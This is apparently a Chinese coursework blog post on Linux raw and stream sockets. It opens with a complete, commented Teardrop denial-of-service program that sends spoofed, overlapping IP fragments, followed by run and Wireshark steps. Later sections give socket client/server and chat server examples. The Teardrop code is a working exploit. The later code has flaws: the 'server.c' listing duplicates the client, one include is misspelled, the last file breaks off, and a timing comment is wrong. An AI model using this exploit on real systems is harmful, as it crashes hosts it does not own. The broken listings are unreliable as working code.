Linux系统套接字程序-- 原始套接字和SOCKET应用

一、原始套接字程序

一、Teardrop程序

1.了解Teardrop

什么是Teardrop?其工作原理?

Teardrop是基于UDP的病态分片数据包的攻击方法,其工作原理是向被攻击者发送多个分片的IP包(IP分片数据包中包括该分片数据包属于哪个数据包以及在数据包中的位置等信息),某些操作系统收到含有重叠偏移的伪造分片数据包时将会出现系统崩溃、重启等现象。(利用UDP包重组时重叠偏移(假设数据包中第二片IP包的偏移量小于第一片结束的位移,而且算上第二片IP包的Data,也未超过第一片的尾部,这就是重叠现象。)的漏洞对系统主机发动畸形报文攻击,最终导致主机宕机;对于Windows系统会导致蓝屏死机,并显示STOP 0x0000000A错误。)

2.在ubuntu下实现Teardrop,并抓包

1.先将ubuntu网络适配器设置为桥接模式
在这里插入图片描述
2.在ubuntu下创建test06的文件,并创建teardrop.c
在这里插入图片描述
输入代码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <errno.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n)  (n)
#else  
/* OpenBSD 2.1, all Linux */
#define FIX(n)  htons(n)
#endif  /* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF 0x2000  /* More IP fragment en route */
#define IPH 0x14    /* IP header size */
#define UDPH 0x8     /* UDP header size */
#define PADDING  0x1c    /* datagram frame padding for first packet */
#define MAGIC  0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
#define COUNT 0x1  
/* Linux dies with 1, NT is more stalwart and can
 * withstand maybe 5 or 10 sometimes...  Experiment.
 */

//错误处理函数
void usage(u_char *);
//获取主机信息
u_long name_resolve(u_char *);
//设置 IP 包的内容并发送
void send_frags(int ,u_long,u_long,u_short,u_short);

//主函数
int main(int argc,char **argv)
{
    
    
    int one = 1, count = 0, i, rip_sock;
    //定义无符号长整型源 IP 和目的 IP
    u_long src_ip = 0, dst_ip = 0;
    //定义无符号短整型源端口号和目的端口号
    u_short src_prt = 0, dst_prt = 0;
    /*
    定一个结构体 in_addr(表示一个32位的IPv4地址)的一个对象
    struct in_addr
    {
        union
        {
            struct
            {
                u_char s_b1,s_b2,s_b3,s_b4;
            } S_un_b; //An IPv4 address formatted as four u_chars.
            struct
            {
                u_short s_w1,s_w2;
            } S_un_w; //An IPv4 address formatted as two u_shorts
            u_long S_addr;//An IPv4 address formatted as a u_long
        } S_un;
        #define s_addr S_un.S_addr
    };
    */
    struct in_addr addr;
    printf("teardrop route|daemon9\n\n");

    /*
    创建一个原始套接字
    AF_INET——IPv4地址;
    SOCK_RAW——原始的套接字类型
    IPPROTO_RAW——允许使用底层的套接字协议,就可以自己编写IP包
    如果创建套接字成功,则会返回一个描述符(int型),失败则会返回 INVALID_SOCKET
    每个电脑里面都会有一个描述符表,对应套接字
    如果创建失败,将错误消息输出到屏幕
    然后退出程序
    */
    if((rip_sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
    {
    
    
	fprintf(stderr,"raw socket");
	exit(1);
    }

    /*
    设置原始套接字选项 IP_HDRINCL
    如果不设置这个选项,IP 协议会自动填充 IP 数据包的首部
    这个情况是我们所不需要的,我们需要自己编写 IP 包
    */
    if(setsockopt(rip_sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one)) < 0)
    {
    
    
        fprintf(stderr,"IP_HDRINCL");
        exit(1);
    }

    /*
    如果程序运行时送给main函数的命令行参数个数小于 3 个,
    调用 usage 函数,传参为 argv[0]:指向程序运行的全路径名
    */
    if(argc < 3)
        usage(argv[0]);

    //调用 name_resolve 函数设置源 IP 和目的 IP 
    if(!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
    {
    
    
        fprintf(stderr,"What the hell kind of IP address is that?\n");
        exit(1);
    }

    /*
    调用 getopt 函数分析命令行参数,该函数的参数含义:
    ——命令行参数个数(argc)
    ——命令行参数内容(argv)
    ——参数格式(opstring):字母后有 : 表示该选项后面必须跟参数
    getopt 函数处理不符合 optstring 指定的选项
    并将选项后的参数保存在 optarg 中
    然后返回选项的 ASCLL 码

    atoi 函数是将参数(optarg)转化为十进制(会跳过前面的空白字符)
    如果不能转化为十进制,则返回 0 ,值过大返回 -1

    该循环语句是为了从命令行传端口值
    */
    while((i = getopt(argc, argv, "s:t:n:")) != EOF)
    {
    
    
        switch (i)
        {
    
    
        case 's'://源端口(重点)
        src_prt = (u_short)atoi(optarg);
            break;
        case 't'://目的端口 (DNS,任何人?)
        dst_prt = (u_short)atoi(optarg);
            break;
        case 'n'://设置发送包的个数
        count = atoi(optarg);
            break;
        default:
        usage(argv[0]);
            break;
        }
    }
    /*
    srandom 函数:设置种子值(以“当前时间 + 进程 ID”作为种子)
    如果前面设置的源端口和目的端口是零,则随机赋值
    */
    srandom((unsigned)(utimes("0",(time_t)0)));
    if(!src_prt)
        src_prt = (random() % 0xffff);//设置随机源端口号
    if(!dst_prt)
        dst_prt = (random() % 0xffff);//设置随即目的端口号
    if(!count)
        count = COUNT;//设置默认为一个包
    //inet_ntoa 函数:将一个IP转换成一个互联网标准点分格式的字符串
    printf("Death on flaxen wings:\n");
    addr.s_addr = src_ip;//给对象 addr 的成员变量赋值
    printf("From:%15s.%5d\n",inet_ntoa(addr), src_prt);
    addr.s_addr = dst_ip;//给对象 addr 的成员变量 赋值
    printf("To:%15s.%5d\n",inet_ntoa(addr), dst_prt);
    printf("Amt:%5d\n",count);
    printf("[\n");

    /*
    循环调用 send_frags 函数
    每一次循环完了后睡眠 0.5 s
    */
    for (i = 0; i < count; i++)
    {
    
    
        send_frags(rip_sock,src_ip,dst_ip,src_prt,dst_prt);
        usleep(500);
    }
    printf("]\n");
    return (0);
}

//设置 IP 包的内容并发送
void send_frags(int sock,u_long src_ip,u_long dst_ip,u_short src_prt,u_short dst_prt)
{
    
    
    u_char *packet = NULL, *p_ptr = NULL,*flag = NULL;//定义 IP 包指针
    u_char byte;//无符号字符储存二进制
    struct sockaddr_in sin;
    /*
    sockaddr 套接字协议结构
    用于存储参与(IP)Windows/linux套接字通信的计算机上的一个internet协议(IP)地址
    struct sockaddr {
        unsigned short sa_family; //address family, AF_xxx
        char sa_data[14]; //14 bytes of protocol address
    };
    */
    sin.sin_family = AF_INET;//IPv4地址
    sin.sin_port = src_prt;//源端口
    sin.sin_addr.s_addr = dst_ip;//目的 IP
    /*
    malloc 函数:
    原型:extern void *malloc(unsigned int num_bytes);
    功能:分配长度为num_bytes字节的内存块(这里分配了 56 个字节的内存块)
    说明:分配成功则返回指向被分配内存的指针,否则返回空指针 NULL
    */
    packet = (u_char *)malloc(IPH + UDPH + PADDING);
    p_ptr = packet;//指向 IP 包内存地址
    flag = packet;
    /*
    bzero 函数:
    原型:extern void bzero(void *s, int n);
    功能:置字节字符串前n个字节为零且包括‘\0’,无返回值
    这里是将 IP 包的 56 个字节全部至空
    */
    bzero((u_char *)p_ptr,IPH + UDPH + PADDING);
    /*
    设置 IP 包的Version(版本)和Hlen(长度)
    大多数的 IP 包都是以 4500 开头的(十六进制) 
    */
    byte = 0x45;
    /*
    memcpy 函数:
    原型:void *memcpy(void *destin, void *source, unsigned n);
    功能:从源内存地址的起始位置开始拷贝若干个字节到目标内存地址中
                    即从源source中拷贝n个字节到目标destin中
    这里是指从 byte 的内容(0x45)拷贝到 IP 包中
    */
    memcpy(p_ptr, &byte, sizeof(u_char));
    p_ptr += 2;// 此时默认 IP 包的 TOS(优先级)为 0
    /*
    FIX 函数(htons 函数的别名)
    htons 函数:将一个无符号短整型的主机数值转换为网络字节顺序
                                即大尾顺序(big-endian)
    这里是设置 Datagram Total Length(IP 包总长度)
    */
    *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);
    p_ptr += 2;
    //这是是设置 identifier(IP 包标识)
    *((u_short *)p_ptr) = htons(242);//IP id
    p_ptr += 2;
    //这里设置 Flags(标志)
    *((u_short *)p_ptr) |= FIX(IP_MF);
    p_ptr += 2;
    //设置 TTL (存活期)
    *((u_short *)p_ptr) = 0x40;
    //设置 Protocol(协议)
    byte = IPPROTO_UDP;
    memcpy(p_ptr + 1, &byte, sizeof(u_char));
    //IP 的校验码由实时操作系统设置
    p_ptr += 4;
    //设置 IP 包的 Source Address(源地址)
    *((u_long *)p_ptr) = src_ip;
    p_ptr += 4;
    //设置 IP 包的 Destination Address(目的地址)
    *((u_long *)p_ptr) = dst_ip;
    p_ptr += 4;
    //设置 UDP 的源端口
    *((u_short *)p_ptr) = htons(src_prt);
    p_ptr += 2;
    //设置 UDP 的目的端口
    *((u_short *)p_ptr) = htons(dst_prt);
    p_ptr += 2;
    //设置 UDP 的数据长度
    *((u_short *)p_ptr) = htons(PADDING);
    p_ptr += 4;
    /*
    设置要发送的数据:Fake News
    根据 ASCLL 码表可转换成 46 61 6B 65 20 4E 65 77 73
    */
    *((u_short *)p_ptr) = 0x46;
    p_ptr++;
    *((u_short *)p_ptr) = 0x61;
    p_ptr++;
    *((u_short *)p_ptr) = 0x6B;
    p_ptr++;
    *((u_short *)p_ptr) = 0x65;
    p_ptr++;
    *((u_short *)p_ptr) = 0x20;
    p_ptr++;
    *((u_short *)p_ptr) = 0x4E;
    p_ptr++;
    *((u_short *)p_ptr) = 0x65;
    p_ptr++;
    *((u_short *)p_ptr) = 0x77;
    p_ptr++;
    *((u_short *)p_ptr) = 0x73;
    /*
    sendto 函数:指向一指定目的地发送数据
		将指定字节数的数据发送到指定的终结点
		sendto()适用于发送未建立连接的UDP数据报(参数为SOCK_DGRAM)
    返回值:为整型,如果成功,则返回发送的字节数,失败则返回SOCKET_ERROR
    发送 IPv4 包,下面这个条件语句发送失败才会执行
    */
    int i=1;
    while(i <= 56)
    {
    
    
	printf("%x\t",*flag);
	flag++;
        if(0 == i%8)
	    printf("\n");
        i++;
    }
    if(sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
    {
    
    
        fprintf(stderr, "\nsendto");
        free(packet);//释放 packet 指针
        exit(1);
    }
    //IP total length is 2 bytes into the header
    //IP 包总长度是2字节,放进头部
    p_ptr = &packet[2];
    *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
    //IP offset is 6 bytes into the header
    p_ptr += 4;
    *((u_short *)p_ptr) = FIX(MAGIC);
    //发送 UDP 包,下面这个条件语句发送失败才会执行
    if(sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
    {
    
    
        fprintf(stderr, "\nsendto");
        free(packet);
        exit(1);
    }
    free(packet);
}

//获取主机信息
u_long name_resolve(u_char *host_name)
{
    
    
    struct in_addr addr;//32位 IPv4 地址
    /*
    hostent 结构体:该结构记录主机的信息,包括主机名、别名、地址类型、地址长度和地址列表
    struct hostent {
        char *h_name;
        char **h_aliases;
        int h_addrtype;
        int h_length;
        char **h_addr_list;
    };
    #define h_addr h_addr_list[0]
    */
    struct hostent *host_ent;
    /*
    gethostbyname 函数:返回对应于给定主机名的包含主机名字和地址信息的hostent结构指针
    bcopy 函数:将第一个参数(字符串)的前n(第三个参数)个字节复制到第二个参数中
    */
    if((addr.s_addr = inet_addr(host_name)) == -1)
    {
    
    
        if(!(host_ent = gethostbyname(host_name)))
            return (0);
        bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
    }
    return (addr.s_addr);
}

//错误处理函数
void usage(u_char *name)
{
    
    
    fprintf(stderr, "%s src_ip dst_ip [ -s src_prit ] [ -t dst_prt ] [ -n how_many  ]\n",name);
    exit(0);
}

3.编译并运行teardrop
这是没有设置ip参数teardrop运行
在这里插入图片描述
设置了ip参数的teardrop运行
在这里插入图片描述

但还是和没有设置的参数的程序,因为该程序是需要权限的,所以需要加sudo

在这里插入图片描述
4.使用wireshark抓包
在这里插入图片描述
分析wireshark所抓的包
在这里插入图片描述
数据里有Fake News

二、Socket应用实例

一、面向连接的流式套接字 C/S 例子

这里使用ubuntu作为客户端client,树莓派作为服务器端server
新建test08,在test08里新建client
在这里插入图片描述
client.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define PORT "9090"  //the port client will be connecting to
#define MAXDATASIZE 100  //max number of bytes we can get at once

//get sockaddr, IPv4 or IPv6
void *get_in_addr(struct sockaddr *sa)
{
    
    
	if(sa->sa_family == AF_INET)
	{
    
    
		return &(((struct sockaddr_in*)sa)->sin_addr);
	}
	return &(((struct sockaddr_in6*)sa)->sin6_addr);
}

int main(int argc, char *argv[])
{
    
    
	int sockfd, numbytes;
	char buf[MAXDATASIZE];
	struct addrinfo hints, *servinfo, *p;
	/*
	typedef struct addrinfo { 
    		int ai_flags;        //AI_PASSIVE,AI_CANONNAME,AI_NUMERICHOST 
    		int ai_family;        //AF_INET,AF_INET6 
    		int ai_socktype;    //SOCK_STREAM,SOCK_DGRAM 
    		int ai_protocol;    //IPPROTO_IP, IPPROTO_IPV4, IPPROTO_IPV6 etc. 
    		size_t ai_addrlen;            //must be zero or a null pointer 
    		char* ai_canonname;            //must be zero or a null pointer 
    		struct sockaddr* ai_addr;    //must be zero or a null pointer 
    		struct addrinfo* ai_next;    //must be zero or a null pointer 
	}
	其中ai_flags、ai_family、ai_socktype说明如下: 
	参数		取值			值	说明 
	ai_family	AF_INET			2	IPv4 
				AF_INET6		23	IPv6 
				AF_UNSPEC		0	协议无关 
	ai_protocol	IPPROTO_IP		0	IP协议 
				IPPROTO_IPV4    4   IPv4 
		        IPPROTO_IPV6    41  IPv6 
		        IPPROTO_UDP     17  UDP 
		        IPPROTO_TCP     6   TCP 
	ai_socktype SOCK_STREAM     1   流 
                SOCK_DGRAM      2   数据报 
	ai_flags    AI_PASSIVE      1   被动的,用于bind,通常用于server socket 
                AI_CANONNAME    2 
                AI_NUMERICHOST  4   地址为数字串 
	*/
	int rv;
	char s[INET6_ADDRSTRLEN];
	//如果命令行参数不等于 2 ,则执行下面的语句
	if(argc != 2)
	{
    
    
		fprintf(stderr, "usage:client hostname\n");  //打印错误消息
		exit(1);  //退出
	}
	//将hints内存的内容置 0
	memset(&hints, 0, sizeof hints);
	//设置协议无关
	hints.ai_family = AF_UNSPEC;
	//设置套接为流
	hints.ai_socktype = SOCK_STREAM;
	/*
	int getaddrinfo( const char *hostname, const char *service, 
		const struct addrinfo *hints, struct addrinfo **result );
	参数说明
	hostname:一个主机名或者地址串(IPv4的点分十进制串或者IPv6的16进制串)
	service:服务名可以是十进制的端口号,也可以是已定义的服务名称,如ftp、http等
	hints:可以是一个空指针,也可以是一个指向某个addrinfo结构体的指针,
		调用者在这个结构中填入关于期望返回的信息类型的暗示。
		举例来说:指定的服务既可支持TCP也可支持UDP,
		所以调用者可以把hints结构中的ai_socktype成员设置成SOCK_DGRAM,
		使得返回的仅仅是适用于数据报套接口的信息。
	result:本函数通过result指针参数返回一个指向addrinfo结构体链表的指针。
	返回值:0——成功,非0——出错

	getaddrinfo 函数能够处理名字到地址以及服务到端口这两种转换,
		返回的是一个sockaddr结构的链表而不是一个地址清单。
		这些sockaddr结构随后可由套接口函数直接使用。
		如此一来,getaddrinfo函数把协议相关性安全隐藏在这个库函数内部。
		应用程序只要处理由getaddrinfo函数填写的套接口地址结构。
	*/
	if((rv = getaddrinfo(argv[1], PORT, &hints, &servinfo)) != 0)
	{
    
    
		fprintf(stderr, "getaddrinfo:%s\n",gai_strerror(rv));
		return 1;
	}
	//遍历所有返回结果并链接到第一个成功连接的套接
	for(p = servinfo; p != NULL; p = p->ai_next)
	{
    
    
		//创建一个套接字
		if((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
		{
    
    
			perror("client:socket");
			continue;
		}
		//连接状态判断
		if(connect(sockfd, p->ai_addr, p->ai_addrlen) == -1)
		{
    
    
			close(sockfd);
			perror("client:connect");
			continue;
		}
		//如果创建套接字成功且连接成功,则退出循环
		break;
	}
	//如果套接口地址为空,则打印结果
	if(p == NULL)
	{
    
    
		fprintf(stderr, "client:failed to connect\n");
		return 2;
	}
	//inet_ntop 函数可以将 IP 地址在“点分十进制”和“整数”之间转换
	inet_ntop(p->ai_family, get_in_addr((struct sockaddr*)p->ai_addr), s, sizeof s);
	printf("client:connecting to %s\n",s);
	//freeaddrinfo 函数释放 getaddriinfo 函数返回的存储空间
	freeaddrinfo(servinfo);
	//recv 函数用于判断缓冲区数据传输的状态,传输异常则打印消息比并退出
	if((numbytes = recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1)
	{
    
    
		perror("recv");
		exit(1);
	}
	//将字符数组的最后一位置 \0 ,用于后面一次性输出
	buf[numbytes] = '\0';
	printf("client:received %s\n",buf);
	close(sockfd);
	return 0;
}

在这里插入图片描述
server.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define PORT "9090"  //the port client will be connecting to
#define MAXDATASIZE 100  //max number of bytes we can get at once

//get sockaddr, IPv4 or IPv6
void *get_in_addr(struct sockaddr *sa)
{
    
    
	if(sa->sa_family == AF_INET)
	{
    
    
		return &(((struct sockaddr_in*)sa)->sin_addr);
	}
	return &(((struct sockaddr_in6*)sa)->sin6_addr);
}

int main(int argc, char *argv[])
{
    
    
	int sockfd, numbytes;
	char buf[MAXDATASIZE];
	struct addrinfo hints, *servinfo, *p;
	/*
	typedef struct addrinfo { 
    		int ai_flags;        //AI_PASSIVE,AI_CANONNAME,AI_NUMERICHOST 
    		int ai_family;        //AF_INET,AF_INET6 
    		int ai_socktype;    //SOCK_STREAM,SOCK_DGRAM 
    		int ai_protocol;    //IPPROTO_IP, IPPROTO_IPV4, IPPROTO_IPV6 etc. 
    		size_t ai_addrlen;            //must be zero or a null pointer 
    		char* ai_canonname;            //must be zero or a null pointer 
    		struct sockaddr* ai_addr;    //must be zero or a null pointer 
    		struct addrinfo* ai_next;    //must be zero or a null pointer 
	}
	其中ai_flags、ai_family、ai_socktype说明如下: 
	参数		取值			值	说明 
	ai_family	AF_INET			2	IPv4 
				AF_INET6		23	IPv6 
				AF_UNSPEC		0	协议无关 
	ai_protocol	IPPROTO_IP		0	IP协议 
				IPPROTO_IPV4    4   IPv4 
		        IPPROTO_IPV6    41  IPv6 
		        IPPROTO_UDP     17  UDP 
		        IPPROTO_TCP     6   TCP 
	ai_socktype SOCK_STREAM     1   流 
                SOCK_DGRAM      2   数据报 
	ai_flags    AI_PASSIVE      1   被动的,用于bind,通常用于server socket 
                AI_CANONNAME    2 
                AI_NUMERICHOST  4   地址为数字串 
	*/
	int rv;
	char s[INET6_ADDRSTRLEN];
	//如果命令行参数不等于 2 ,则执行下面的语句
	if(argc != 2)
	{
    
    
		fprintf(stderr, "usage:client hostname\n");  //打印错误消息
		exit(1);  //退出
	}
	//将hints内存的内容置 0
	memset(&hints, 0, sizeof hints);
	//设置协议无关
	hints.ai_family = AF_UNSPEC;
	//设置套接为流
	hints.ai_socktype = SOCK_STREAM;
	/*
	int getaddrinfo( const char *hostname, const char *service, 
		const struct addrinfo *hints, struct addrinfo **result );
	参数说明
	hostname:一个主机名或者地址串(IPv4的点分十进制串或者IPv6的16进制串)
	service:服务名可以是十进制的端口号,也可以是已定义的服务名称,如ftp、http等
	hints:可以是一个空指针,也可以是一个指向某个addrinfo结构体的指针,
		调用者在这个结构中填入关于期望返回的信息类型的暗示。
		举例来说:指定的服务既可支持TCP也可支持UDP,
		所以调用者可以把hints结构中的ai_socktype成员设置成SOCK_DGRAM,
		使得返回的仅仅是适用于数据报套接口的信息。
	result:本函数通过result指针参数返回一个指向addrinfo结构体链表的指针。
	返回值:0——成功,非0——出错

	getaddrinfo 函数能够处理名字到地址以及服务到端口这两种转换,
		返回的是一个sockaddr结构的链表而不是一个地址清单。
		这些sockaddr结构随后可由套接口函数直接使用。
		如此一来,getaddrinfo函数把协议相关性安全隐藏在这个库函数内部。
		应用程序只要处理由getaddrinfo函数填写的套接口地址结构。
	*/
	if((rv = getaddrinfo(argv[1], PORT, &hints, &servinfo)) != 0)
	{
    
    
		fprintf(stderr, "getaddrinfo:%s\n",gai_strerror(rv));
		return 1;
	}
	//遍历所有返回结果并链接到第一个成功连接的套接
	for(p = servinfo; p != NULL; p = p->ai_next)
	{
    
    
		//创建一个套接字
		if((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
		{
    
    
			perror("client:socket");
			continue;
		}
		//连接状态判断
		if(connect(sockfd, p->ai_addr, p->ai_addrlen) == -1)
		{
    
    
			close(sockfd);
			perror("client:connect");
			continue;
		}
		//如果创建套接字成功且连接成功,则退出循环
		break;
	}
	//如果套接口地址为空,则打印结果
	if(p == NULL)
	{
    
    
		fprintf(stderr, "client:failed to connect\n");
		return 2;
	}
	//inet_ntop 函数可以将 IP 地址在“点分十进制”和“整数”之间转换
	inet_ntop(p->ai_family, get_in_addr((struct sockaddr*)p->ai_addr), s, sizeof s);
	printf("client:connecting to %s\n",s);
	//freeaddrinfo 函数释放 getaddriinfo 函数返回的存储空间
	freeaddrinfo(servinfo);
	//recv 函数用于判断缓冲区数据传输的状态,传输异常则打印消息比并退出
	if((numbytes = recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1)
	{
    
    
		perror("recv");
		exit(1);
	}
	//将字符数组的最后一位置 \0 ,用于后面一次性输出
	buf[numbytes] = '\0';
	printf("client:received %s\n",buf);
	close(sockfd);
	return 0;
}

二、非阻塞的多人聊天服务器端

server

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#define PORT "9090"  //port we're listening on
//get sockaddr,IPv4 or IPv6:
//sockaddr 结构体:存储参与(IP)Windows/linux套接字通信的计算机上的一个internet协议(IP)地址
void *get_in_addr(struct sockaddr *sa)
{
    
    
    if(sa->sa_family == AF_INET){
    
    
        return &(((struct sockaddr_in*)sa)->sin_addr);
    }
    return &(((struct sockaddr_in6*)sa)->sin6_addr);
}

int main(void)
{
    
    
    fd_set master;  //主文件描述符列表
    fd_set read_fds;  //select() 的临时文件描述符列表
    /*
    当调用 select() 时,由内核根据 IO 状态修改 fd_set 的内容
    由此来通知执行了 select() 的进程哪一 socket 或文件发生了可读或可写事件
    */
    int fdmax;  //最大文件描述符
    int listener;  //监听套接字描述符
    int newfd;  //新接受的套接字描述符
    //sockaddr_storage 结构体:存储套接字地址信息
    struct sockaddr_storage remoteaddr;  //客户端地址
    socklen_t addrlen;//socklen_t 和 int 相同长度的一种类型

    char buf[256];  //用于客户端数据的缓冲区
    int nbytes;

    int yes=1;  //for setsockopt() SO_REUSEADDR,below
    int i,j,rv;
    char remoteIP[INET_ADDRSTRLEN];

    struct addrinfo hints,*ai,*p;  //地址信息结构体

    FD_ZERO(&master);  //清除主文件描述符列表
    FD_ZERO(&read_fds);  //清楚临时文件描述符列表

    //给我们一个套接字并绑定它
    memset(&hints, 0, sizeof hints);  //地址信息置零
    hints.ai_family = AF_UNSPEC;  //AF_UNSPEC(协议无关)
    hints.ai_socktype = SOCK_STREAM;  //SOCK_STREAM(流)
    hints.ai_flags = AI_PASSIVE;  //AI_PASSIVE(被动的,用于 bind)
    if((rv = getaddrinfo(NULL, PORT, &hints, &ai)) != 0)
    {
    
    
        fprintf(stderr, "selectserver:%s\n", gai_strerror(rv));
        exit(1);
    }

    //遍历所有的结果
    for(p = ai; p != NULL; p = p->ai_next)
    {
    
    
        //创建套接字并赋值给 listener 套接字描述符
        listener = socket(p->ai_family, p->ai_socktype, p->ai_protocol);
        if(listener < 0)
        {
    
    
            continue;
        }
        //setsockope 函数用于任意类型、任意状态套接字的设置选项
        setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int));
        /*
        bind 函数:用于未连接的数据报或流类套接口,把一本地址与一套接口捆绑
        在 connect() 或 listen() 调用前使用
        */
        if(bind(listener, p->ai_addr, p->ai_addrlen) < 0)
        {
    
    
            close(listener);
            continue;
        }
        break;
    }

    if(p == NULL)
    {
    
    
        fprintf(stderr, "selectserver:failed to bind\n");
        exit(2);
    }

    //到了这里,意味着服务器的地址和端口绑定完成,可以释放 ai 的内存
    freeaddrinfo(ai);  

    /*
    listen 函数:创建一个套接口并监听申请的连接.
    参数一:用于标识一个已捆绑未连接套接口的描述符
    参数二:等待连接队列的最大长度(这里是 10)
    */
    if(listen(listener, 10) == -1)
    {
    
    
        perror("listen");
        exit(3);
    }

    //将侦听器添加到主文件
    FD_SET(listener, &master);

    //跟踪最大的文件描述符
    fdmax = listener;  //到目前为止,是这个

    //主循环
    for(;;)
    {
    
    
        read_fds = master;  //将主文件描述符表复制到临时文件描述符表

        /*
        select 函数:确定一个或多个套接口的状态,如需要则等待。
        原型:int select( int nfds, fd_set FAR* readfds, fd_set * writefds, 
                         fd_set * exceptfds, const struct timeval * timeout);
        nfds:是一个整数值,是指集合中所有文件描述符的范围,即所有文件描述符的最大值加1,
              不能错!在Windows中这个参数的值无所谓,可以设置不正确。
        readfds:(可选)指针,指向一组等待可读性检查的套接口。
        writefds:(可选)指针,指向一组等待可写性检查的套接口。
        exceptfds:(可选)指针,指向一组等待错误检查的套接口。
        timeout:select()最多等待时间,对阻塞操作则为 NULL。
        */
        if(select(fdmax + 1, &read_fds, NULL, NULL, NULL) == -1)
        {
    
    
            perror("select");
            exit(4);
        }

        //运行现有的连接,查找要读取的数据
        for(i = 0; i <= fdmax; i++)
        {
    
    
            /*
            宏原型:int FD_ISSET(int fd,fd_set *fdset)
            在调用 selelct() 函数后,用 FD_ISSET 来检测 fd 在 fdset 集合中的状态是否变化
            返回整形,当检测到 fd 状态发生变化时返回真,否则返回假
            */
            if(FD_ISSET(i, &read_fds))  //得到了一个连接
            {
    
    
                if(i == listener)//如果新连接为最大文件描述符
                {
    
    
                    //处理新连接
                    addrlen = sizeof remoteaddr;
                    newfd = accept(listener, (struct sockaddr *)&remoteaddr, &addrlen);

                    if(newfd == -1)
                    {
    
    
                        perror("accept");
                    }
                    else
                    {
    
    
                        FD_SET(newfd, &master);  //添加到主文件描述符列表
                        if(newfd > fdmax)  //记录最大值
                        {
    
    
                            fdmax = newfd;
                        }
                        printf("selectserver:new connection from %s on socket %d\n", inet_ntop(remoteaddr.ss_family, get_in_addr((struct sockaddr*)&remoteaddr), remoteIP, INET_ADDRSTRLEN), newfd);
                    }
                }
                else
                {
    
    
                    //处理来自客户端的数据
                    if((nbytes = recv(i, buf, sizeof buf, 0)) <= 0)
                    {
    
    
                        //出现错误或连接被客户端关闭
                        if(nbytes == 0)
                        {
    
    
                            //连接关闭了
                            printf("selectserver:socket %d hung up\n", i);
                        }
                        else
                        {
    
    
                            perror("recv");
                        }
                        close(i); //关闭
                        FD_CLR(i, &master);  //从主文件描述符列表中删除
                    }
                    else
                    {
    
    
                        //我们从一个客户那里得到了一些数据
                        for(j =0; j <= fdmax; j++)
                        {
    
    
			    			//发给大家!
                            if(FD_ISSET(j, &master))
                            {
    
    
                                //除了监听器和我们自己
                                if(j != listener && j != i)
                                {
    
    
                                    if(send(j, buf, nbytes, 0) == -1)
                                    {
    
    
                                        perror("send");
                                    }
                                }
                            }
                        }
                    }
                }  //END handle from client
            }  //END got new incoming connection
        }  //END looping through file descriptors
    }  //END for(;;)--and you thought it would never end!
    return 0;
}

client

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <syspes.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>

#define PORT "9090"  //the port client will be connecting to
#define MAXDATASIZE 100  //max number of bytes we can get at once

int sockfd, numbytes;
char buf[MAXDATASIZE];

//get sockaddr, IPv4 or IPv6
void *get_in_addr(struct sockaddr *sa)
{
    
    
	if(sa->sa_family == AF_INET)
	{
    
    
		return &(((struct sockaddr_in*)sa)->sin_addr);
	}
	return &(((struct sockaddr_in6*)sa)->sin6_addr);
}

void *recvMag()
{
    
    
    while(1)
    {
    
    
        if((numbytes = recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1)
	{
    
    
		perror("recv");
		exit(1);
	}
	if(numbytes == 1)
		continue;
	buf[numbytes] = '\0';
	printf("\nreceived:%s\n",buf);
    }
}

int main(int argc, char *argv[])
{
    
    
	struct addrinfo hints, *servinfo, *p;
	int rv;
	char s[INET6_ADDRSTRLEN];
    pthread_t t1;
    char mag[MAXDATASIZE];

	if(argc != 2)
	{
    
    
		fprintf(stderr, "usage:client hostname\n");
		exit(1);
	}
	memset(&hints, 0, sizeof hints);
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;
	if((rv = getaddrinfo(argv[1], PORT, &hints, &servinfo)) != 0)
	{
    
    
		fprintf(stderr, "getaddrinfo:%s\n",gai_strerror(rv));
		return 1;
	}
	for(p = servinfo; p != NULL; p = p->ai_next)
	{
    
    
		if((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
		{
    
    
			perror("client:socket");
			continue;
		}
		if(connect(sockfd, p->ai_addr, p->ai_addrlen) == -1)
		{
    
    
			close(sockfd);
			perror("client:connect");
			continue;
		}
		break;
	}
	if(p == NULL)
	{
    
    
		fprintf(stderr, "client:failed to connect\n");
